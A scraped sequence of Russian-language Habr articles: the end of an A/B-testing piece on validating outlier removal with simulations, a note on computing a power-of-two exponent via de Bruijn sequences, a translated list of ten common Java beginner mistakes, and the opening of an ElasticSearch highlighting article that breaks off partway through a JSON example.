test = sps.expon(scale=1000).rvs(1000)
outlier_filter = np.quantile(np.concatenate([control, test]), 0.99)
control = control[control < outlier_filter]
test = test[test < outlier_filter]
# 4.b. Запускаю критерий.
_, _, _, left_bound, right_bound = relative_ttest(control, test)
# 4.c. Проверяю, лежит ли истинная разница средних в доверительном интервале.
if left_bound > 0 or right_bound < 0:
bad_cnt += 1
# 5. Строю доверительный интервал для конверсии ошибок у критерия.
left_real_level, right_real_level = proportion_confint(count = bad_cnt, nobs = N, alpha=0.05, method='wilson')
# Результат.
print(f"Реальный уровень значимости: {round(bad_cnt / N, 4)};"
f" доверительный интервал: [{round(left_real_level, 4)}, {round(right_real_level, 4)}]")
```
Реальный уровень значимости: 0.0494; доверительный интервал: [0.047, 0.0519].
**Вторая проблема** состоит в том, что тест и контроль отличаются друг от друга влиянием тритмента. Поэтому, если средние в тесте и в контроле отличаются, то использование одной квантили для отсечения в обоих выборках приведёт к тому, что мы выкинем из теста больше значений. В худшем случае мы будем сравнивать среднее без 1% в тесте со средним на всей выборке в контроле, что совсем не то, что мы хотим.
A/B-проверка
```
# 3. Заводим счётчик.
bad_cnt = 0
# 4. Цикл проверки.
N = 30000
for i in tqdm_notebook(range(N)):
# 4.a. Тестирую A/B-тест.
control = sps.expon(scale=1000).rvs(1000)
test = sps.expon(scale=1000).rvs(1000)
test *= 1.5
outlier_filter = np.quantile(np.concatenate([control, test]), 0.99)
control = control[control < outlier_filter]
test = test[test < outlier_filter]
# 4.b. Запускаю критерий.
_, _, _, left_bound, right_bound = relative_ttest(control, test)
# 4.c. Проверяю, лежит ли истинная разница средних в доверительном интервале.
if left_bound > 0.5 or right_bound < 0.5:
bad_cnt += 1
# 5. Строю доверительный интервал для конверсии ошибок у критерия.
left_real_level, right_real_level = proportion_confint(count = bad_cnt, nobs = N, alpha=0.05, method='wilson')
# Результат.
print(f"Реальный уровень значимости: {round(bad_cnt / N, 4)};"
f" доверительный интервал: [{round(left_real_level, 4)}, {round(right_real_level, 4)}]")
```
Реальный уровень значимости: 0.3381; доверительный интервал: [0.3328, 0.3435].
**Итог:** надеюсь, вы убедились в важности проверки методов, которые вы используете.
Напоследок, ещё раз зафиксируем мысль. Не используйте:
* Критерий [Манна-Уитни](https://ru.wikipedia.org/wiki/U-%D0%BA%D1%80%D0%B8%D1%82%D0%B5%D1%80%D0%B8%D0%B9_%D0%9C%D0%B0%D0%BD%D0%BD%D0%B0_%E2%80%94_%D0%A3%D0%B8%D1%82%D0%BD%D0%B8).
* Логарифмирование метрики.
* Удаление топ n% пользователей с максимальной метрикой в тесте и контроле.
А теперь я покажу, как исправить последний критерий и как правильно работать с выбросами.
#### Выкинуть топ n% пользователей на предэкспериментальном периоде
Как было замечено ранее, нужно, чтобы порог для отсечения пользователей был одним и тем же в тесте и в контроле, но при этом тритмент никак не должен привести к тому, что из одной выборки будет убрано больше значений, чем из другой. Поэтому я предлагаю подобрать порог отсечения, используя значение целевой метрики на предпериоде. К примеру, отсечь топ 1% юзеров по выручке за 2 месяца до эксперимента, когда никакого тритмента не было в тесте.
A/B-проверка:
```
# 3. Заводим счётчик/
bad_cnt = 0
# 4. Цикл проверки.
N = 30000
for i in tqdm_notebook(range(N)):
# 4.a. Тестирую A/B-тест.
control_before = sps.expon(scale=1000).rvs(10000)
test_before = sps.expon(scale=1000).rvs(10000)
control = control_before + sps.norm(loc=0, scale=100).rvs(10000)
test = test_before + sps.norm(loc=0, scale=100).rvs(10000)
test *= 1.5
outlier_filter = np.quantile(np.concatenate([control_before, test_before]), 0.99)
control = control[control_before < outlier_filter]
test = test[test_before < outlier_filter]
# 4.b. Запускаю критерий.
_, _, _, left_bound, right_bound = relative_ttest(control, test)
# 4.c. Проверяю, лежит ли истинная разница средних в доверительном интервале.
if left_bound > 0.5 or right_bound < 0.5:
bad_cnt += 1
# 5. Строю доверительный интервал для конверсии ошибок у критерия.
left_real_level, right_real_level = proportion_confint(count = bad_cnt, nobs = N, alpha=0.05, method='wilson')
# Результат.
print(f"Реальный уровень значимости: {round(bad_cnt / N, 4)};"
f" доверительный интервал: [{round(left_real_level, 4)}, {round(right_real_level, 4)}]")
```
Реальный уровень значимости: 0.05; доверительный интервал: [0.0476, 0.0525].
Для A/A-теста реальный уровень значимости: 0.0495; доверительный интервал: [0.0471, 0.052].
> [Посмотреть код на Гитхабе](https://github.com/DimaLunin/AB_lifehacks/blob/main/outliers_in_ab_tests.ipynb)
>
>
**Итог:** именно в таком варианте метод корректен и и только так стоит бороться с выбросами в данных, если они есть. Финальные результаты улучшения мощности критериев после использования такого хака, будут показаны в конце второй статьи.
Но при этом надо помнить и о минусе выкидывания n% пользователей по предпериоду. Выкидывая топ юзеров из рассмотрения и принимая решение о раскатке теста на основе оставшихся пользователей, вы автоматически считаете, что топ юзеров поведёт себя также, как и остальные пользователи, или лучше. Что на самом деле может быть не так. Это стоит всегда стоит дополнительно проверять. С другой стороны, возможно, топ-пользователи вас не интересуют, потому что они не целевая аудитория вашего тритмента. Тогда вы можете спокойно их убрать.
Ещё один нюанс. Примерно такой же пример я показывал, когда объяснял, что не стоит использовать критерий Манна-Уитни: там топ вел себя не так, как остальные пользователи. Так почему я сразу забраковал тот метод, а этот, наоборот, предлагаю для работы с выбросами? Текущий метод же точно так же привёл бы к неверным результатам.
Всё дело в том, что здесь я понимаю, какую бизнес-гипотезу проверяю и в каком предположении она будет верна в общем случае. Топ n% пользователей на предпериоде ведёт себя также, как и остальные пользователи. Более того, это предположение можно провалидировать на старых A/B-тестах. А в случае с Манном-Уитни чёрт его знает, какую часть топа он не учитывает и когда он даёт верный результат для бизнеса, а когда нет. Его тестируемая гипотеза не интерпретируема, и поэтому легко ведет к ошибкам. Да и адекватных численных оценок эффекта этот критерий не даёт.
Общие рекомендации
------------------
Вот и подошла к концу первая часть статьи про A/B-тестирование. Давайте ещё раз пробежимся по основным описанным лайфхакам:
1. Используйте не только абсолютную постановку A/B-тестирования, но и относительную, она более интерпретируема.
2. T-test работает не только для выборок из нормального распределения.
3. Валидируйте критерии. Иначе вы рискуете использовать неверный метод.
4. Серые результаты тоже несут в себе информацию. Кроме фразы «эффект может есть, а может и нет» у вас есть ещё и доверительный интервал.
5. Если вы хотите избавиться от выбросов, то не надо переходить к критериям типа Манна-Уитни. Достаточно удалить топ пользователей на предэкспериментальном периоде. Но при этом надо помнить, что в таком случае топ пользователей может ввести себя не так, как остальные, и из-за этого вы можете принять неверное решение. Поэтому стоит дополнительно валидировать это предположение на старых A/B-тестах.
[Во второй части](https://habr.com/ru/company/avito/blog/571096/) я расскажу про основные методы увеличения мощности ваших A/B-тестов без удаления выбросов.
Если у вас остались вопросы, можете писать их мне в соц сетях:
* тг: @dimon2016
* [linkedin](https://www.linkedin.com/in/dimon2016/) | https://habr.com/ru/post/571094/ | null | ru | null |
# Как найти показатель степени двойки за O(1) с помощью последовательности де Брёйна
#### Аперитив
Всем, наверное, известно, как посчитать количество бит в числе. Например, подойдут следующие два способа:
```
while (n)
{
++count;
n &= (n-1);
}
```
```
while (n)
{
if (n&1)
++count;
n >>= 1;
}
```
Упражнение: какое в среднем количество операций будет выполнено в первой и во второй реализации?
#### Блюдо
Пусть у нас есть n-битное число вида 2^i. Нам необходимо найти i за O(1).
Как это сделать? Пусть n = 2^k. Построим последовательность де Брёйна (de Bruijn) над алфавитом {0,1} для подстрок длины k.
#### Что такое последовательность де Брёйна?
Это циклическая последовательность элементов из алфавита, у которой все подстроки длины k различны. Понятно, что длина последовательности де Брёйна не может превосходить 2^k, ведь именно столько существует различных подстрок длины k над алфавитом из двух элементов. Такую последовательность де Брёйна максимальной длины называется **циклом де Брёйна**.
Давайте попробуем построить цикл де Брёйна для k=3. Например, он может выглядеть вот так: 00010111. Проверим, что все подстроки длины три в этом цикле различны. Подстрока, начинающаяся в позиции 0, будет равна 000, далее идут подстроки 001, 010, 101, 011, 111, 110 (обратите внимание, последовательность циклична) и 100.
Можно заметить, что цикл де Брёйна всегда можно построить. Рассмотрим, например, направленный граф из всевозможных построк длины k, в котором ребро будет существовать тогда и только тогда, когда одну подстроку можно получить из другой путем сдвига на одну позицию влево и приписыванию элемента из алфавита, например, из вершины 001 будут исходить два ребра в вершины 01*0* и 01*1*. В таком графе, в каждую вершину входит два ребра и выходит два ребра, а значит существует Эйлеров цикл и, следовательно, цикл, соответствующий циклу де Брёйна, всегда существует.
#### Что это нам дает?
Возьмем и умножим число вида 2^i на последовательность де Брёйна как на число. Что это нам даст? Последовательность де Брейна будет сдвинута на i шагов влево. Рассмотрим старшие k бит произведения. Очевидно, они однозначно определяют i. Сдвинем их на младшие позиции (на n-k) и посмотрим в таблице размера 2^k какой подстроке соответствует позиция в последовательности де Брёйна. Посчитаем таблицу и получим: 000 -> 0, 001 -> 1, 010 -> 2, 011 -> 4, 100 -> 7, 101 -> 3, 110 -> 6, 111 -> 5, то есть получился массив {0, 1, 2, 4, 7, 3, 6, 5}.
Пусть нам на вход поступило число 16. Умножим его на 00010111 = 23, и получим 368. Естественно, нас интересует результат по модулю 2^8 = 256. 368 = 112 mod 256. 112 = **011**10000 в двоичной, теперь сдвигаем его на n-k вправо и получим 011, то есть 3. Смотрим в таблицу и видим значение 4 на позиции 3. Значит, 16 = 2^4.
Получили алгоритм, который работает за O(1) по времени и О(n) по памяти, где n — число бит в числе. | https://habr.com/ru/post/233127/ | null | ru | null |
# 10 самых распространённых ошибок, которые делают новички в Java
Здравствуйте, меня зовут Александр Акбашев, я Lead QA Engineer в проекте Skyforge. А также по совместительству ассистент [tully](https://habr.com/en/users/tully/) в Технопарке на курсе «Углубленное программирование на Java». Наш курс идет во втором семестре Технопарка, и мы получаем студентов, прошедших курсы по C++ и Python. Поэтому я давно хотел подготовить материал, посвященный самым распространенным ошибкам новичков в Java. К сожалению, написать такую статью я так и не собрался. К счастью, такую статью написал наш соотечественник — Михаил Селиванов, правда, на английском. Ниже представлен перевод данной статьи с небольшими комментариями. По всем замечаниям, связанным с переводом, прошу писать в личные сообщения.
Изначально язык Java создавался для [интерактивного телевидения](http://www.oracle.com/technetwork/java/javase/overview/javahistory-index-198355.html), однако со временем стал использоваться везде, где только можно. Его разработчики руководствовались принципами объектно-ориентированного программирования, отказавшись от излишней сложности, свойственной тем же С и С++. Платформонезависимость виртуальной машины Java сформировала в своё время новый подход к программированию. Добавьте к этому плавную кривую обучения и лозунг «Напиши однажды, запускай везде», что **почти** всегда соответствует истине. Но всё-таки ошибки до сих пор встречаются, и здесь я хотел бы разобрать наиболее распространённые из них.
Ошибка первая: пренебрегают существующими библиотеками
======================================================
Для Java написано несметное количество библиотек, но новички зачастую не пользуются всем этим богатством. Прежде чем изобретать велосипед, лучше сначала изучите имеющиеся наработки по интересующему вопросу. Многие библиотеки годами доводились разработчиками до совершенства, и вы можете пользоваться ими совершенно бесплатно. В качестве примеров можно привести библиотеки для логирования logback и Log4j, сетевые библиотеки Netty и Akka. А некоторые разработки, вроде Joda-Time, среди программистов стали стандартом де-факто.
На эту тему хочу рассказать о своём опыте работы над одним из проектов. Та часть кода, которая отвечала за экранирование HTML-символов, была написана мной с нуля. Несколько лет всё работало без сбоев. Но однажды пользовательский запрос спровоцировал бесконечный цикл. Сервис перестал отвечать, и пользователь попытался снова ввести те же данные. В конце концов, все процессорные ресурсы сервера, выделенные для этого приложения, оказались заняты этим бесконечным циклом. И если бы автор этого наивного инструмента для замены символов воспользовался одной из хорошо известных библиотек, [HtmlEscapers](http://docs.guava-libraries.googlecode.com/git/javadoc/com/google/common/html/HtmlEscapers.html) или [Google Guava](https://github.com/google/guava), вероятно, этого досадного происшествия не произошло. Даже если бы в библиотеке была какая-то скрытая ошибка, то наверняка она была бы обнаружена и исправлена сообществом разработчиков раньше, чем проявилась бы на моём проекте. Это характерно для большинства наиболее популярных библиотек.
Ошибка вторая: не используют ключевое слово break в конструкции Switch-Case
===========================================================================
Подобные ошибки могут сильно сбивать с толку. Бывает, что их даже не обнаруживают, и код попадает в продакшен. С одной стороны, неудачное выполнение операторов *switch* часто бывает полезным. Но если так не было задумано изначально, отсутствие ключевого слова *break* может привести к катастрофическим результатам. Если в нижеприведённом примере опустить *break* в *case 0*, то программа после Zero выведет One, поскольку поток выполнения команд пройдёт через все *switch*, пока не встретит *break*.
```
public static void switchCasePrimer() {
int caseIndex = 0;
switch (caseIndex) {
case 0:
System.out.println("Zero");
case 1:
System.out.println("One");
break;
case 2:
System.out.println("Two");
break;
default:
System.out.println("Default");
}
}
```
Чаще всего целесообразно использовать полиморфизм для выделения частей кода со специфическим поведением в отдельные классы. А подобные ошибки можно искать с помощью статических анализаторов кода, например, [FindBugs](http://findbugs.sourceforge.net/) или [PMD](http://pmd.sourceforge.net/).
Ошибка третья: забывают освобождать ресурсы
===========================================
Каждый раз после того, как программа открывает файл или устанавливает сетевое соединение, нужно освобождать использовавшиеся ресурсы. То же самое относится и к ситуациям, когда при оперировании ресурсами возникали какие-либо исключения. Кто-то может возразить, что у *FileInputStream* есть финализатор, вызывающий метод *close()* для сборки мусора. Но мы не можем знать точно, когда запустится цикл сборки, поэтому есть риск, что входной поток может занять ресурсы на неопределённый период времени. Специально для таких случаев в Java 7 есть очень полезный и аккуратный оператор [try-with-resources](https://docs.oracle.com/javase/tutorial/essential/exceptions/tryResourceClose.html):
```
private static void printFileJava7() throws IOException {
try(FileInputStream input = new FileInputStream("file.txt")) {
int data = input.read();
while(data != -1){
System.out.print((char) data);
data = input.read();
}
}
}
```
Этот оператор можно применять с любыми объектами, относящимися к интерфейсу *AutoClosable*. Тогда вам не придётся беспокоиться об освобождении ресурсов, это будет происходить автоматически после выполнения оператора.
Ошибка четвёртая: утечки памяти
===============================
В Java применяется автоматическое управление памятью, позволяющее не заниматься ручным выделением и освобождением. Но это вовсе не означает, что разработчикам можно вообще не интересоваться, как приложения используют память. Увы, но всё же здесь могут возникать проблемы. До тех пор, пока программа удерживает ссылки на объекты, которые больше не нужны, память не освобождается. Таким образом, это можно назвать утечкой памяти. Причины бывают разные, и наиболее частой из них является как раз наличие большого количества ссылок на объекты. Ведь пока есть ссылка, сборщик мусора не может удалить этот объект из кучи. Например, вы описали класс со статическим полем, содержащим коллекцию объектов, при этом создалась ссылка. Если вы забыли обнулить это поле после того, как коллекция стала не нужна, то и ссылка никуда не делась. Такие статические поля считаются корнями для сборщика мусора и не собираются им.
Другой частой причиной возникновения утечек является наличие циклических ссылок. В этом случае сборщик просто не может решить, нужны ли ещё объекты, перекрёстно ссылающиеся друг на друга. Утечки также могут возникать в стеке при использовании JNI (Java Native Interface). Например:
```
final ScheduledExecutorService scheduledExecutorService = Executors.newScheduledThreadPool(1);
final Deque numbers = new LinkedBlockingDeque<>();
final BigDecimal divisor = new BigDecimal(51);
scheduledExecutorService.scheduleAtFixedRate(() -> {
BigDecimal number = numbers.peekLast();
if (number != null && number.remainder(divisor).byteValue() == 0) {
System.out.println("Number: " + number);
System.out.println("Deque size: " + numbers.size());
}
}, 10, 10, TimeUnit.MILLISECONDS);
scheduledExecutorService.scheduleAtFixedRate(() -> {
numbers.add(new BigDecimal(System.currentTimeMillis()));
}, 10, 10, TimeUnit.MILLISECONDS);
try {
scheduledExecutorService.awaitTermination(1, TimeUnit.DAYS);
} catch (InterruptedException e) {
e.printStackTrace();
}
```
Здесь создаётся два задания. Одно из них берёт последнее число из двусторонней очереди *numbers* и выводит его значение и размер очереди, если число кратно 51. Второе задание помещает число в очередь. Для обоих заданий установлено фиксированное расписание, итерации происходят с интервалом в 10 миллисекунд. Если запустить этот код, то размер очереди будет увеличиваться бесконечно. В конце концов это приведёт к тому, что очередь заполнит всю доступную память кучи. Чтобы этого не допустить, но при этом сохранить семантику кода, для извлечения чисел из очереди можно использовать другой метод: *pollLast*. Он возвращает элемент и удаляет его из очереди, в то время как *peekLast* только возвращает.
Если хотите узнать побольше об утечках памяти, то можете изучить [посвящённую этому статью](http://www.toptal.com/java/hunting-memory-leaks-in-java).
*Примечание переводчика: на самом деле, в Java решена проблема циклических ссылок, т.к. современные алгоритмы сборки мусора учитывают достижимость ссылок из корневых узлов. Если объекты, содержащие ссылки друг на друга, не достижимы от корня, они будут считаться мусором. Об алгоритмах работы сборщика мусора можно почитать в [Java Platform Performance: Strategies and Tactics](http://techbus.safaribooksonline.com/book/programming/java/0201709694)*.
Ошибка пятая: чрезмерное количество мусора
==========================================
Такое случается, когда программа создаёт большое количество объектов, использующихся в течение очень непродолжительного времени. При этом сборщик мусора безостановочно убирает из памяти ненужные объекты, что приводит к сильному падению производительности. Простой пример:
```
String oneMillionHello = "";
for (int i = 0; i < 1000000; i++) {
oneMillionHello = oneMillionHello + "Hello!";
}
System.out.println(oneMillionHello.substring(0, 6));
```
В Java строковые переменные являются неизменяемыми. Здесь при каждой итерации создаётся новая переменная, и для решения этой проблемы нужно использовать изменяемый *StringBuilder*:
```
StringBuilder oneMillionHelloSB = new StringBuilder();
for (int i = 0; i < 1000000; i++) {
oneMillionHelloSB.append("Hello!");
}
System.out.println(oneMillionHelloSB.toString().substring(0, 6));
```
Если в первом варианте на выполнение кода уходит немало времени, то во втором производительность уже гораздо выше.
Ошибка шестая: использование без необходимости нулевых указателей
=================================================================
Старайтесь избегать применения null. Например, возвращать пустые массивы или коллекции лучше методами, чем null, поскольку это позволит предотвратить появление *NullPointerException*. Ниже представлен пример метода, обрабатывающего коллекцию, полученную из другого метода:
```
List accountIds = person.getAccountIds();
for (String accountId : accountIds) {
processAccount(accountId);
}
```
Если *getAccountIds()* возвращает null, когда у *person* нет *account*, то возникнет *NullPointerException*. Чтобы этого не произошло, необходимо делать проверку на null. А если вместо null возвращается пустой список, то проблема с *NullPointerException* не возникает. К тому же код без null-проверок получается чище.
В разных ситуациях можно по-разному избегать использования null. Например, использовать класс *Optional*, который может быть как пустым объектом, так и обёрткой (wrap) для какого-либо значения:
```
Optional optionalString = Optional.ofNullable(nullableString);
if(optionalString.isPresent()) {
System.out.println(optionalString.get());
}
```
В Java 8 используется более лаконичный подход:
```
Optional optionalString = Optional.ofNullable(nullableString);
optionalString.ifPresent(System.out::println);
```
*Optional* появился в восьмой версии Java, но в функциональном программировании он использовался ещё задолго до этого. Например, в Google Guava для ранних версий Java.
Ошибка седьмая: игнорирование исключений
========================================
Зачастую начинающие разработчики никак не обрабатывают исключения. Однако не стоит пренебрегать этой работой. Исключения бросаются не просто так, и в большинстве случаев нужно разбираться с причинами. Не игнорируйте подобные события. Если нужно, бросьте их заново, чтобы посмотреть сообщение об ошибке, или залогируйте. В крайнем случае, нужно хотя бы обосновать для других разработчиков причину, по которой вы не разбирались с исключением.
```
selfie = person.shootASelfie();
try {
selfie.show();
} catch (NullPointerException e) {
// Может, человек-невидимка. Да какая разница?
}
```
Лучше всего обозначить незначительность исключения с помощью сообщения в переменной:
```
try { selfie.delete(); } catch (NullPointerException unimportant) { }
```
*Примечание переводчика: Практика не устаёт доказывать, что не бывает неважных исключений. Если исключение хочется проигнорировать, то нужно добавлять какие-то дополнительные проверки, чтобы либо не вызывать исключение в принципе, либо игнорировать исключение сверхточечно. Иначе вас ожидают долгие часы дебага в поисках ошибки, которую так легко было написать в лог. Также нужно помнить, что создание исключения — операция не бесплатная. Как минимум, нужно собрать коллстэк, а для этого нужно приостановиться на safepoint. И это всё занимает время...*
Ошибка восьмая: ConcurrentModificationException
===============================================
Это исключение возникает, когда коллекция модифицируется во время итерирования любыми методами, за исключением средств самого итератора. Например, у нас есть список головных уборов, и мы хотим убрать из него все шапки-ушанки:
```
List hats = new ArrayList<>();
hats.add(new Ushanka()); // that one has ear flaps
hats.add(new Fedora());
hats.add(new Sombrero());
for (IHat hat : hats) {
if (hat.hasEarFlaps()) {
hats.remove(hat);
}
}
```
При выполнении этого кода вылезет *ConcurrentModificationException*, поскольку код модифицирует коллекцию во время итерирования. То же самое исключение возникнет, если один из нескольких тредов, работающих с одним списком, попытается модифицировать коллекцию, пока другие треды итерируют её. Одновременное модифицирование коллекции является частым явлением при многопоточности, но в этом случае нужно применять соответствующие инструменты, вроде блокировок синхронизации (synchronization lock), специальных коллекций, адаптированных для одновременной модификации и т.д.
В случае с одним тредом эта проблема решается немного иначе.
**Собрать объекты и удалить их в другом цикле**
На ум сразу приходит решение собрать ушанки и удалить их во время следующего цикла. Но тогда придётся создать новую коллекцию для хранения шапок, приготовленных для удаления.
```
List hatsToRemove = new LinkedList<>();
for (IHat hat : hats) {
if (hat.hasEarFlaps()) {
hatsToRemove.add(hat);
}
}
for (IHat hat : hatsToRemove) {
hats.remove(hat);
}
```
**Использовать метод *Iterator.remove***
Это более лаконичный способ, при котором не нужно создавать новую коллекцию:
```
Iterator hatIterator = hats.iterator();
while (hatIterator.hasNext()) {
IHat hat = hatIterator.next();
if (hat.hasEarFlaps()) {
hatIterator.remove();
}
}
```
**Использовать методы *ListIterator***
Когда модифицированная коллекция реализует интерфейс *List*, целесообразно использовать итератор списка (list iterator). Итераторы, реализующие интерфейс *ListIterator*, поддерживают как операции удаления, так и добавления и присвоения. *ListIterator* реализует интерфейс *Iterator*, так что наш пример будет выглядеть почти так же, как и метод удаления *Iterator*. Разница заключается в типе итератора шапок и его получении с помощью метода *listIterator()*. Нижеприведённый фрагмент демонстрирует, как можно заменить каждую ушанку на сомбреро с помощью методов *ListIterator.remove* и *ListIterator.add*:
```
IHat sombrero = new Sombrero();
ListIterator hatIterator = hats.listIterator();
while (hatIterator.hasNext()) {
IHat hat = hatIterator.next();
if (hat.hasEarFlaps()) {
hatIterator.remove();
hatIterator.add(sombrero);
}
}
```
С помощью *ListIterator* вызовы методов удаления и добавления могут быть заменены одним вызовом:
```
IHat sombrero = new Sombrero();
ListIterator hatIterator = hats.listIterator();
while (hatIterator.hasNext()) {
IHat hat = hatIterator.next();
if (hat.hasEarFlaps()) {
hatIterator.set(sombrero); // set instead of remove and add
}
}
```
Используя поточные методы, представленные в Java 8, можно трансформировать коллекцию в поток, а потом отфильтровать его по каким-либо критериям. Вот пример того, как поточный API может помочь в фильтрации шапок без появления *ConcurrentModificationException*:
```
hats = hats.stream().filter((hat -> !hat.hasEarFlaps()))
.collect(Collectors.toCollection(ArrayList::new));
```
Метод *Collectors.toCollection* создаёт новый *ArrayList* с отфильтрованными шапками. Если критериям удовлетворяет большое количество объектов, то это может быть проблемой, поскольку *ArrayList* получается довольно большим. Так что пользуйтесь этим способом с осторожностью.
Можно поступить другим образом — использовать метод *List.removeIf*, представленный в Java 8. Это самый короткий вариант:
```
hats.removeIf(IHat::hasEarFlaps);
```
И всё. На внутреннем уровне этот метод задействуется *Iterator.remove*.
**Использовать специализированные коллекции**
Если бы в самом начале мы решили использовать *CopyOnWriteArrayList* вместо *ArrayList*, то проблем бы вообще не было, потому что *CopyOnWriteArrayList* использует методы модифицирования (присвоения, добавления и удаления), которые не меняют базовый массив (backing array) коллекции. Вместо этого создаётся новая, модифицированная версия. Благодаря этому можно одновременно итерировать и модифицировать исходную версию коллекции без опасения получить *ConcurrentModificationException*. Недостаток у этого способа очевиден — приходится генерировать новую коллекцию для каждой модификации.
Существуют коллекции, настроенные для разных случаев, например, *CopyOnWriteSet* и *ConcurrentHashMap*.
Другой возможной ошибкой, связанной с *ConcurrentModificationException*, является создание потока из коллекции, а потом модифицирование базовой коллекции (backing collection) во время итерирования потока. Избегайте этого. Ниже приведён пример неправильного обращения с потоком:
```
List filteredHats = hats.stream().peek(hat -> {
if (hat.hasEarFlaps()) {
hats.remove(hat);
}
}).collect(Collectors.toCollection(ArrayList::new));
```
Метод *peek* собирает все элементы и применяет к каждому определённое действие. В данном случае, пытается удалить элемент из базового списка, что не есть правильно. Старайтесь применять другие методы, описанные выше.
Ошибка девятая: нарушение контрактов
====================================
Бывает, что для правильной работы кода из стандартной библиотеки или от какого-то вендора нужно соблюдать определённые правила. Например, контракт *hashCode* и *equals* гарантирует работу набора коллекций из фреймворка коллекций Java, а также других классов, использующих методы *hashCode* и *equals*. Несоблюдение контракта не всегда приводит к исключениям или прерыванию компиляции. Тут всё несколько сложнее, иногда это может повлиять на работу приложения так, что вы не заметите ничего подозрительного. Ошибочный код может попасть в продакшен и привести к неприятным последствиям. Например, стать причиной глючности UI, неправильных отчётов данных, низкой производительности, потери данных и т.д. К счастью, такое случается редко. Тот же вышеупомянутый контракт *hashCode* и *equals* используется в коллекциях, основанных на хэшинге и сравнении объектов, вроде *HashMap* и *HashSet*. Проще говоря, контракт содержит два условия:
* Если два объекта эквивалентны, то их коды тоже должны быть эквивалентны.
* Если даже два объекта имеют одинаковые хэш-коды, то они могут и не быть эквивалентны.
Нарушение первого правила приводит к проблемам при попытке извлечения объектов из hashmap.
```
public static class Boat {
private String name;
Boat(String name) {
this.name = name;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Boat boat = (Boat) o;
return !(name != null ? !name.equals(boat.name) : boat.name != null);
}
@Override
public int hashCode() {
return (int) (Math.random() * 5000);
}
}
```
Как видите, класс *Boat* содержит переопределённые методы *hashCode* и *equals*. Но контракт всё равно был нарушен, потому что *hashCode* возвращает каждый раз случайные значения для одного и того же объекта. Скорее всего, лодка под названием Enterprise так и не будет найдена в массиве хэшей, несмотря на то, что она была ранее добавлена:
```
public static void main(String[] args) {
Set boats = new HashSet<>();
boats.add(new Boat("Enterprise"));
System.out.printf("We have a boat named 'Enterprise' : %b\n", boats.contains(new Boat("Enterprise")));
}
```
Другой пример относится к методу *finalize*. Вот что говорится о его функционале в официальной документации Java:
> Основной контракт *finalize* заключается в том, что он вызывается тогда и если, когда виртуальная машина определяет, что больше нет никаких причин, по которым данный объект должен быть доступен какому-либо треду (ещё не умершему). Исключением может быть результат завершения какого-то другого объекта или класса, который готов быть завершённым. Метод *finalize* может осуществлять любое действие, в том числе снова делать объект доступным для других тредов. Но обычно *finalize* используется для действий по очистке до того, как объект необратимо удаляется. Например, этот метод для объекта, представляющего собой соединение input/output, может явным образом осуществить I/O транзакции для разрыва соединения до того, как объект будет необратимо удалён.
Не надо использовать метод *finalize* для освобождения ресурсов наподобие обработчиков файлов, потому что неизвестно, когда он может быть вызван. Это может произойти во время работы сборщика мусора. В результате продолжительность его работы непредсказуемо затянется.
Ошибка десятая: использование сырых типов (raw type) вместо параметризованных
=============================================================================
Согласно спецификации Java, сырой тип является либо непараметризованным, либо нестатическим членом класса *R*, который не унаследован от суперкласса или суперинтерфейса *R*. До появления в Java обобщённых типов, альтернатив сырым типам не существовало. Обобщённое программирование стало поддерживаться с версии 1.5, и это стало очень важным шагом в развитии языка. Однако ради совместимости не удалось избавиться от такого недостатка, как потенциальная возможность нарушения системы классов.
```
List listOfNumbers = new ArrayList();
listOfNumbers.add(10);
listOfNumbers.add("Twenty");
listOfNumbers.forEach(n -> System.out.println((int) n * 2));
```
Здесь список номеров представлен в виде сырого ArrayList. Поскольку его тип не задан, мы можем добавить в него любой объект. Но в последней строке в int забрасываются элементы, удваиваются и выводятся. Этот код откомпилируется без ошибок, но если его запустить, то выскочит исключение на этапе выполнения (runtime exception), потому что мы пытаемся записать строчную переменную в числовую. Очевидно, что если мы скроем от системы типов необходимую информацию, то она не убережёт нас от написания ошибочного кода. Поэтому старайтесь определять типы объектов, которые собираетесь хранить в коллекции:
```
List listOfNumbers = new ArrayList<>();
listOfNumbers.add(10);
listOfNumbers.add("Twenty");
listOfNumbers.forEach(n -> System.out.println((int) n \* 2));
```
От первоначального варианта этот пример отличается строкой, в которой задаётся коллекция:
```
List listOfNumbers = new ArrayList<>();
```
Этот вариант не откомпилируется, поскольку мы пытаемся добавить строковую переменную в коллекцию, которая может хранить только числовые. Компилятор выдаст ошибку и укажет на строку, в которой мы пытаемся добавить в список строковую Twenty. Так что всегда старайтесь параметризировать обобщённые типы. В этом случае компилятор сможет всё проверить, и шансы появления runtime exception из-за противоречий в системе типов будут сведены к минимуму.
Заключение
==========
Многие моменты в разработке ПО на платформе Java упрощены, благодаря разделению на сложную Java Virtual Machine и сам язык. Однако широкие возможности, вроде автоматического управления памятью или приличных OOP-инструментов, не исключают вероятности возникновения проблем. Советы здесь универсальны: регулярно практикуйтесь, изучайте библиотеки, читайте документацию. И не забывайте о статических анализаторах кода, они могут указать на имеющиеся баги и подсказать, на что стоит обратить внимание. | https://habr.com/ru/post/251365/ | null | ru | null |
# Хайлайтинг больших текстовых полей в ElasticSearch
 В декабре 2016 года мы с товарищем начали заниматься [новым проектом](https://github.com/RD17/ambar) — системой сбора-индексации-поиска по документам. Система построена вокруг ElasticSearch (далее — ES), который мы используем как основной движок для полнотекстового поиска.
Ценными данными, приобретенными в ходе работы над проектом мы бы хотели поделиться с читателями в цикле статей про ES. Начнём с основы любого поисковика — подсветки результатов поиска (далее — хайлайтинг).
Правильная подсветка результатов поиска едва ли не самый важный критерий эффективности поисковой системы для пользователя. Во-первых, видна логика включения документа в результаты поиска, а во-вторых, подсветка блока найденного текста даёт возможность быстро оценить контекст найденного попадания.
Одним из ключевых требований к нашей поисковой системе была возможность быстро и эффективно работать с большими файлами (более 100 Мб). В статье мы расскажем как добиться высокой производительности от ES при хайлайтинге больших полей документа.
На скриншоте ниже показано как работает подсветка результатов поиска в нашем проекте.
Первый шаг или суть проблемы
----------------------------
Итак, ES мы используем для хранения и поиска в метаданных и распарсенном содержимом файлов. Пример документа, который мы храним в ES:
```
{
sha256: "1a4ad2c5469090928a318a4d9e4f3b21cf1451c7fdc602480e48678282ced02c",
meta: [
{
id: "21264f64460498d2d3a7ab4e1d8550e4b58c0469744005cd226d431d7a5828d0",
short_name: "quarter.pdf",
full_name: "//winserver/store/reports/quarter.pdf",
source_id: "crReports",
extension: ".pdf",
created_datetime: "2017-01-14 14:49:36.788",
updated_datetime: "2017-01-14 14:49:37.140",
extra: [],
